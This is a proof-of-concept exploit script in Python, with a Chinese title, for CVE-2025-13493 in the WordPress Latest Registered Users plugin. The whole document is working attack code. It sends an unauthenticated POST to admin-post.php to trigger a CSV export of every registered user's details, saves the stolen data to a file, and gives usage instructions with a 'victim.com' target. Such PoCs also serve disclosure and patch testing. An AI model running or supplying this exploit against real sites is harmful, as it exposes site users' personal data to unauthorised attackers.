CVE-2025-13493 | WordPress Latest Registered Users插件未授权用户数据导出漏洞

import requests import sys ''' CVE-2025-13493 PoC WordPress Latest Registered Users Plugin < 1.5 - Unauthorized User Data Export CVSS: 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description: Missing authorization and nonce validation in rnd_handle_form_submit allows unauthenticated attackers to export complete user details in CSV format. Usage: python poc.py <target_url> Example: python poc.py http://victim.com/wp-admin/admin-post.php ''' def exploit(target_url): """ Exploit the missing authorization vulnerability in Latest Registered Users plugin. The plugin hooks to admin_post_my_simple_form and admin_post_nopriv_my_simple_form without proper authorization checks. """ # Prepare the exploit payload # The 'action' parameter must be set to 'my_simple_form' to trigger the export data = { 'action': 'my_simple_form', 'export_format': 'csv' # Request CSV export format } print(f'[*] Sending exploit request to: {target_url}') print(f'[*] Action parameter: {data["action"]}') try: # Send POST request without authentication # admin_post_nopriv_my_simple_form allows unauthenticated access response = requests.post(target_url, data=data, timeout=30) print(f'[*] Response Status Code: {response.status_code}') print(f'[*] Response Content-Type: {response.headers.get("Content-Type", "unknown")}') # Check if CSV data was returned if 'text/csv' in response.headers.get('Content-Type', '').lower() or \ 'attachment' in response.headers.get('Content-Disposition', '').lower(): print('[+] SUCCESS: CSV export received!') print(f'[+] Content length: {len(response.content)} bytes') # Save the exported CSV data with open('exported_users.csv', 'wb') as f: f.write(response.content) print('[+] CSV data saved to: exported_users.csv') return True else: print('[-] Response does not appear to be CSV data') print(f'[-] Response preview: {response.text[:500]}') return False except requests.RequestException as e: print(f'[-] Request failed: {str(e)}') return False def main(): if len(sys.argv) < 2: print('Usage: python poc.py <target_url>') print('Example: python poc.py http://victim.com/wp-admin/admin-post.php') sys.exit(1) target_url = sys.argv[1] exploit(target_url) if __name__ == '__main__': main()